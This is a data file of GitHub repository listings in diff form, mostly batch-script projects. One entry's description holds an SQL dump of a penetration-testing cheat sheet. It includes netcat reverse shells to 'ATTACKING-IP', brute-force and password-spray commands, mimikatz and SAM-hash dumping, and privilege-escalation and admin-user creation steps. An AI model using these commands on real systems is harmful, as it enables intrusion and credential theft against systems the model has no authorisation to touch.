VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey ""safety checks"" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow > ', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;",136,23,,2022-01-30T17:26:02Z,2026-06-15T05:44:51Z -happy05dz/Batch-Script-Collection,https://github.com/happy05dz/Batch-Script-Collection,"Collection of Batch scripts, examples and some details for various commands are considered.",134,22,Batchfile,2017-05-09T13:25:06Z,2026-06-12T17:29:03Z -slyfox1186/script-repo,https://github.com/slyfox1186/script-repo,My personal script repository with multiple languages supported. AHK v1+v2 | BASH | BATCH | JSON | PERL | POWERSHELL | PYTHON | WINDOWS REGISTRY | XML,133,17,Shell,2022-12-24T16:16:44Z,2026-05-21T17:57:57Z -RedGreenBlue09/WFAv7_Installer,https://github.com/RedGreenBlue09/WFAv7_Installer,Batch script to install Windows 10 ARM desktop version to Lumia devices (dual boot & single boot).,132,15,Shell,2020-03-13T04:24:55Z,2026-06-11T20:56:54Z -FreakC-Foundation/FreakC,https://github.com/FreakC-Foundation/FreakC,FreakC Programming Language - an experimental Batch-like language written in Batch which compiles to Batch,129,10,Batchfile,2020-07-28T07:13:14Z,2026-04-23T22:36:58Z -PassingTheKnowledge/Batchography,https://github.com/PassingTheKnowledge/Batchography,Scripts and snippets from the Batchography book,128,59,Batchfile,2016-05-11T02:18:46Z,2026-02-15T09:07:47Z -Pyenb/Outlook-desktop-ad-blocker,https://github.com/Pyenb/Outlook-desktop-ad-blocker,A simple script that patches your systems hosts file to stop the Outlook desktop client from displaying ads in your inbox.,127,4,Batchfile,2023-08-14T19:44:26Z,2026-06-12T23:53:05Z -iKineticate/AHK-ChangeIcon,https://github.com/iKineticate/AHK-ChangeIcon,"只需一步操作，用户即可随心批量更换/恢复快捷方式图标 ( With just one step, users can change or restore the icons of shortcuts in batches as they wish )",127,1,AutoHotkey,2023-09-22T06:43:29Z,2026-06-05T15:45:43Z -m2nlight/WindowsServerToWindowsDesktop,https://github.com/m2nlight/WindowsServerToWindowsDesktop,"A bat script to auto config Windows Server 2016 to ""Windows Desktop""",125,41,Batchfile,2016-11-11T08:52:58Z,2026-05-03T03:53:52Z -jonstephens85/instantngp-batch,https://github.com/jonstephens85/instantngp-batch,Batch files to quickly prepare images and train a NeRF using Instant-NGP. This project only works for Instant-NGP Binaries on Windows.,122,8,Batchfile,2023-01-06T16:30:24Z,2026-04-02T14:55:58Z -fpoussin/Qt5-MSVC-Static,https://github.com/fpoussin/Qt5-MSVC-Static,Batch scripts that download and build static Qt5 libs on Windows.,117,54,M4,2015-07-23T21:41:20Z,2026-05-13T12:59:08Z -YasserDRIF/Toggle-Tweaker,https://github.com/YasserDRIF/Toggle-Tweaker,"A script for windows 10 with purpose of tweaking your windows install by removing stuff like windows apps _ Cortana _ Edge, you can also tweak the personalization settings that are hidden and almost everything have a restore option",116,21,Batchfile,2017-01-17T18:01:17Z,2026-05-08T20:55:56Z -daboynb/windows_scripts,https://github.com/daboynb/windows_scripts,Collection of useful automation scripts for Windows,116,19,PowerShell,2022-10-10T11:54:49Z,2026-03-25T16:50:40Z -Serede/mkvtoolnix-batch,https://github.com/Serede/mkvtoolnix-batch,Windows Batch script to automate batch processing using mkvtoolnix.,115,13,Batchfile,2017-12-19T21:51:03Z,2026-03-19T17:32:24Z -gatoslu/KMS-VL-ALL-CMD,https://github.com/gatoslu/KMS-VL-ALL-CMD,Online/Offline KMS Activator for Microsoft Windows/Office/VisualStudio VL Products,114,39,Batchfile,2018-05-31T15:36:41Z,2026-04-07T18:00:30Z -chainski/WindowsCleanerUtility,https://github.com/chainski/WindowsCleanerUtility,A minimal windows batch script that cleans your PC from temporary files.,113,12,Batchfile,2022-08-11T14:11:30Z,2026-06-12T10:03:06Z -ibrahimtonca/35-Different-Commands-to-Make-IT-Professionals-Work-Easier-All-in-One-Bat-File-,https://github.com/ibrahimtonca/35-Different-Commands-to-Make-IT-Professionals-Work-Easier-All-in-One-Bat-File-,,112,14,Batchfile,2024-11-17T13:54:48Z,2026-06-07T10:08:26Z -K3V1991/ADBKit,https://github.com/K3V1991/ADBKit,Pure ADB (Android Debug Bridge) with Batch Script to easily open a CMD Window,110,19,Batchfile,2022-05-23T12:38:35Z,2026-06-11T19:07:53Z -canarddu38/DUCKSPLOIT,https://github.com/canarddu38/DUCKSPLOIT,Windows Hacking FrameWork using Reverse Shell,110,17,C#,2022-01-20T20:59:25Z,2026-04-17T05:27:44Z -Kawwabi/TerabyteTweaker,https://github.com/Kawwabi/TerabyteTweaker,"Terabyte Tweaker is a program written in batch that allows your PC to run at better speeds, it transforms a ""Bad PC"" onto a ""Medium PC"", and turns a ""Medium PC"" into a monster.",110,7,Batchfile,2022-02-22T17:30:11Z,2026-06-14T14:28:10Z -weareblahs/WSAUtilities,https://github.com/weareblahs/WSAUtilities,"CLI-based toolbox for Windows Subsystem for Android. Includes installation of APKs, installation of WSA, and diagnostics.",109,25,Batchfile,2021-10-21T06:01:49Z,2026-05-03T08:05:20Z -ComPDFKit/compdfkit-conversion-sdk-windows,https://github.com/ComPDFKit/compdfkit-conversion-sdk-windows,"High-performance PDF conversion library for Windows desktop apps. Convert PDF to Word, Excel, PPT, HTML, CSV, images, text, RTF, searchable PDF, JSON, Markdown, and OFD while preserving original layout with pixel-perfect accuracy. Support OCR, AI table recognition, and batch processing.",107,10,HTML,2025-06-09T07:53:32Z,2026-06-05T10:16:02Z -bequiet11/autodesk-complete-uninstaller,https://github.com/bequiet11/autodesk-complete-uninstaller,"Single-file Windows batch tool to fully detect, uninstall, and deep-clean all Autodesk products (2015–2026+). Achieves verified zero-remnant clean without reboot. Handles ODIS, MSI, BitRock installers. 16-point verification. Windows 10/11.",106,9,Batchfile,2026-03-22T13:28:12Z,2026-06-13T15:09:51Z -Zusier/Zusiers-optimization-Batch,https://github.com/Zusier/Zusiers-optimization-Batch,"The open source batch file that gives efforts to boost system performance, latency, and stability.",106,10,Batchfile,2020-03-14T16:38:46Z,2026-05-30T09:54:02Z -sim0n00ps/L3-Dumping,https://github.com/sim0n00ps/L3-Dumping,Batch scripts to dump L3 CDM using frida-server and wvdumper,101,16,Batchfile,2023-08-08T19:26:00Z,2026-06-14T04:20:03Z -gameclamp/MangaMeeyaAssociations,https://github.com/gameclamp/MangaMeeyaAssociations,在图片、压缩包和文件夹右键菜单加入MangaMeeya调用项。将bat放在MangaMeeya文件夹下运行。,100,9,Batchfile,2017-05-28T08:49:27Z,2026-06-14T11:22:30Z -jeremyben/thebatchman,https://github.com/jeremyben/thebatchman,Converts Windows batch scripts (or HTA) into executable files,97,20,JavaScript,2015-12-27T22:57:42Z,2026-05-11T02:09:12Z -vladimir-kharin/1c-batch,https://github.com/vladimir-kharin/1c-batch,"Навык (Skill) для AI-агентов: сборка/разборка обработок 1С в XML, выгрузка/загрузка конфигураций и расширений пакетными командами 1С: Предприятие",96,11,Batchfile,2026-02-07T11:43:30Z,2026-06-13T17:03:00Z -warengonzaga/wrn-cleaner,https://github.com/warengonzaga/wrn-cleaner,A free maintenance tool that can automatically or manually clean up your Windows machine in a simple and reliable way. 😉💻🧹,95,14,Batchfile,2017-11-22T23:45:31Z,2026-04-15T02:40:35Z -hahndorf/Set-Privacy,https://github.com/hahndorf/Set-Privacy,PowerShell script to batch-change privacy settings in Windows 10,95,19,PowerShell,2015-08-04T03:02:20Z,2025-04-05T09:01:17Z -Batlez/Batlez-Tweaks,https://github.com/Batlez/Batlez-Tweaks,"Batlez Tweaks is a batch tweaking script that optimizes your system to provide the best gaming experience possible. It is free and open-source, and works on Windows 10 & 11!",93,12,Batchfile,2022-05-29T22:36:21Z,2026-06-11T00:16:55Z -SwiftOnSecurity/OfficeDeployFramework,https://github.com/SwiftOnSecurity/OfficeDeployFramework,A batch script to demonstrate complex Microsoft Office deployments,92,10,Batchfile,2018-03-22T20:33:03Z,2025-05-16T00:10:06Z -AnthonyMusgrove/Emby-ScripterX,https://github.com/AnthonyMusgrove/Emby-ScripterX,Run custom external application or script (batch/bash/powershell/php/python/node.js/custom) on various events within the Emby Server.,91,6,Batchfile,2020-04-08T02:26:17Z,2026-05-31T23:19:13Z -azmatt/windowsEnum,https://github.com/azmatt/windowsEnum,Batch file to help automate Windows enumeration for privilege escalation,91,36,Batchfile,2016-09-25T17:36:09Z,2026-01-10T22:14:37Z -wizz13150/PDQ_Repo,https://github.com/wizz13150/PDQ_Repo,"PDQ Deploy Scripts, Tools, Utilities ... For IT daily Administration",90,15,Batchfile,2019-05-22T10:24:31Z,2026-04-29T22:29:03Z -Scrut1ny/Windows-MAC-Address-Spoofer,https://github.com/Scrut1ny/Windows-MAC-Address-Spoofer,#1 Fully featured automated batchfile MAC address spoofer!,90,15,PowerShell,2021-12-22T01:10:02Z,2026-04-15T04:12:23Z -carlospolop/winPE,https://github.com/carlospolop/winPE,Windows privilege escalation with cmd,90,31,Batchfile,2019-02-11T19:05:58Z,2026-05-27T16:01:57Z -repnz/shellcode2exe,https://github.com/repnz/shellcode2exe,Batch script to compile a binary shellcode blob into an exe file,89,13,Batchfile,2019-07-12T07:47:18Z,2026-05-18T14:00:18Z +boxcutter/windows-batch,https://github.com/boxcutter/windows-batch,Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript,767,258,Ruby,2015-02-13T03:29:15Z,2026-10-06T17:56:40Z +cjee21/Check-UEFISecureBootVariables,https://github.com/cjee21/Check-UEFISecureBootVariables,"PowerShell scripts to check the UEFI KEK, DB and DBX Secure Boot variables as well as scripts for other Secure Boot related items.",319,20,PowerShell,2024-02-14T08:44:04Z,2026-10-05T11:05:37Z +iKineticate/LinkEcho,https://github.com/iKineticate/LinkEcho,"随心批量更换/恢复快捷方式图标，个性化自定义图标设计 ( Batch replace/restore shortcuts icons as you wish, personalized custom icon design)",297,10,Rust,2024-04-16T12:05:13Z,2026-10-05T09:42:10Z +Ivan-Ayub97/Warlock-Studio,https://github.com/Ivan-Ayub97/Warlock-Studio,"Suite for Windows with Real-ESRGAN, RealESRNet, RealESRAnime, BSRGAN , IRCNN, GFPGAN & RIFE. Upscaling, face restoration, frame interpolation, denoising, batch processing & GPU acceleration in one tool.",251,22,Python,2025-05-17T06:59:10Z,2026-10-02T15:14:19Z +EveningStudy/asmr-dubber,https://github.com/EveningStudy/asmr-dubber,"日语／英语／中文音视频 → 中文/英文配音与字幕。支持音色克隆、双语混音、RTF 空间处理、人声分离、批量处理和仅字幕导出。JA/EN/ZH media → Chinese/English dubbing & subtitles. Voice cloning, bilingual mixing, RTF spatial processing, vocal separation, batch processing & subtitle-only export",227,14,Python,2026-07-23T18:16:47Z,2026-10-07T01:07:41Z +freshe/poddl,https://github.com/freshe/poddl,Podcast Downloader - Download all podcasts / episodes from an RSS-feed,205,19,C++,2019-04-16T11:08:08Z,2026-10-02T07:11:45Z +DosX-dev/BatchToApp,https://github.com/DosX-dev/BatchToApp,Convert your .bat/.cmd scripts to .exe and protect (obfuscate) them with BatchToApp!,173,9,Visual Basic .NET,2024-06-17T20:41:59Z,2026-10-06T09:07:59Z +GChuf/RCWM,https://github.com/GChuf/RCWM,"Right Click Windows Magic is an open-source set of right-click (context) menu tools for admins, power users and other magic beings. Batch&Powershell.",171,8,PowerShell,2020-08-15T12:56:11Z,2026-09-17T11:04:10Z +ricardorodrigues-ca/zoom-recording-downloader,https://github.com/ricardorodrigues-ca/zoom-recording-downloader,Downloads and organizes all cloud recordings from your Zoom Business account,161,85,Python,2020-04-26T04:57:53Z,2026-08-14T20:36:28Z +Don-No7/Hack-SQL,https://github.com/Don-No7/Hack-SQL,"-- -- File generated with SQLiteStudio v3.2.1 on Sun Feb 7 14:58:28 2021 -- -- Text encoding used: System -- PRAGMA foreign_keys = off; BEGIN TRANSACTION; -- Table: Commands CREATE TABLE Commands (Command_No INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, Name TEXT REFERENCES Programs (Name) NOT NULL, Description TEXT NOT NULL, Command TEXT, File BLOB); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (1, 'Kerbrute', 'brute single user password', 'kerbrute bruteuers [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (2, 'Kerbrute', 'brute username:password combos from file or stdin', 'kerbrute brutforce [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (3, 'Kerbrute', 'test a single password agains a list of users', 'kerbrute passwordspray [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (4, 'Kerbrute', 'Enumerate valid domain usernames via kerberos', 'kerbrute userenum [flags]', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (5, 'Name-That-Hash', 'Find the hash type of a string', 'nth --text ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (6, 'Name-That-Hash', 'Find the hash type of a file', 'nth --file ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (7, 'Nmap', 'scan for vulnerabilites', 'nmap --script vuln ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (8, 'Nikto', 'Scan host for vulnerabilites', 'nikto -h ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (9, 'SMBClient', 'check for misconfigured anonymous login', 'smbclient -L \\\\', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (10, 'Hydra', 'Brutforce a webpage looking for usernames', 'hydra -l -p 123 http-post-form ''/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (11, 'SMBMap', 'enumerates SMB file shares', 'smbmap -u -p -H ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (12, 'WPScan', 'Enumerate Wordpress website', 'wpscan --url --enumerate --plugins-detection', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (13, 'WPScan', 'enumerate though known usernames', 'wpscan --url --usernames --passwords wordlist.dic', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (14, 'PowerShell', 'bypass execution policy', 'powershell.exe -exec bypass', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (15, 'TheHarvester', 'gathering informaiton from online sources', 'theharvester -d -l <#> -g -b google', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (16, 'Netcat', 'open a listener', 'nc -lvnp ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (17, 'Netcat', 'Connect to computer', 'nc ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (18, 'GoBuster', 'Eunmerate directories on a website with a cookie', 'gobuster dir -u http:// -w -x -c PHPSESSID=', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (19, 'SQLMap', 'map sql at an IP', 'sqlmap -r --batch --force-ssl', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (20, 'John the Ripper', 'Use wordlist to parse hash', 'john --wordlist=', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (21, 'John the Ripper', 'unencrypt shadow file', 'john ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (22, 'Unshadow', 'combine /etc/passwd and /etc/shadow file for cracking', 'unshadow ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (23, 'Hashcat', 'crack hashes with a wordlist', 'hashcat -m -a 0 -o --force', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (26, 'Enum4Linux', 'basic command', 'enum4linux -a ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (27, 'SMBClient', 'connect to a SMB share', 'smbclinet /// -U ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (28, 'Netcat', 'connect with shell (-e doest always work)', 'nc -e /bin/sh 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (29, 'Netcat', 'connect with shell (-e doest always work)', '/bin/sh | nc ATTACKING-IP 80', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (30, 'Netcat', 'done on the target', 'rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (31, 'SQLMap', 'Check form for SQL injection', 'sqlmap -o -u ""http://meh.com/form/"" –forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (32, 'SQLMap', 'automated SQL scan', 'sqlmap -u --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (33, 'CrackMapExec', 'run a mimikatz module', 'crackmapexec smb -u -p --local-auth -M mimikatz', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (34, 'CrackMapExec', 'Command execution', 'crackmapexec smb -u '''' -p '''' -x whoami', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (35, 'CrackMapExec', 'check logged in users', 'crackmapexec smb -u '''' -p '''' --lusers', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (36, 'CrackMapExec', 'dump local SAM hashes', 'crackmapexec -u '''' -p '''' --local-auth --sam', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (37, 'CrackMapExec', 'null session login', 'crackmapexec smb -u '''' -p ''''', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (38, 'CrackMapExec', 'list modules', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (39, 'CrackMapExec', 'pass the hash', NULL, NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (41, 'IKE-Scan', 'attack pre shared key with dictionary', 'psk-crack -d ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (42, 'IKE-Scan', 'If you find a SonicWALL VPN using agressive mode it will require a group id, the default group id is GroupVPN', 'ike-scan -A -id GroupVPN', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (43, 'IKE-Scan', 'to find aggressive mode VPNs and save for use with psk-crack', 'ike-scan -A -P', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (44, 'John the Ripper', 'crack passwords with korelogic rules', 'for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --rules:${ruleset} -w: ; done', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (45, 'Nmap', 'create a list of ip addresses ', 'nmap -sL -n 192.168.1.1-100,102-254 | grep ""report for"" | cut -d "" "" -f 5 > ip_list_192.168.1.txt', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (46, 'Linux commands', 'mount NFS share on linux', 'mount -t nfs server:/share /mnt/point', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (47, 'PowerShell', 'create new user', 'net user /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (48, 'PowerShell', 'add user to a group (normaly Administrators)', 'net localgroup /ADD', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (49, 'PSK-Crack', 'brute force with specified length and specified chars (if left blank default is 36)', 'psk-crack -b <#> --charset="""" ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (50, 'PSK-Crack', 'dictianary attack', 'psk-crack -d ', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (51, 'SQLMap', 'check form for SQL injection', 'sqlmap -o -u """" --forms', NULL); INSERT INTO Commands (Command_No, Name, Description, Command, File) VALUES (52, 'SQLMap', 'Scan url for union + error based injection with mysql backend and use a random user agent + database dump', 'sqlmap -u ""?id=1>"" --dbms=mysql --tech=U --random-agent --dump ', NULL); -- Table: Exploits CREATE TABLE Exploits (Target TEXT, Type TEXT, Criteria TEXT, Method TEXT, Code TEXT, Result TEXT, Notes TEXT); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Injection', 'ability to write to website folder', 'create or edit a mage of the website and insert the code to get remote access to the machine', '', 'execute code via url', '?cmd='); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'shell', 'enter code into the shell to find vulnerbilities int he machine', 'find / -perm -u=s -type f 2>/dev/null', 'SUID binaries', 'link output to GTFO bins and exploit'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Box', 'Priv Esc', 'Python binary running as root', 'generate a shell using python to grain root access', 'python3 -c ""import pty;pty.spawn(''/bin/sh'');""', 'root shell', 'change pyton varibale acordingly'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i ""auto"" |findstr /i /v ""c:\windows\\"" |findstr /i /v """"""', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to 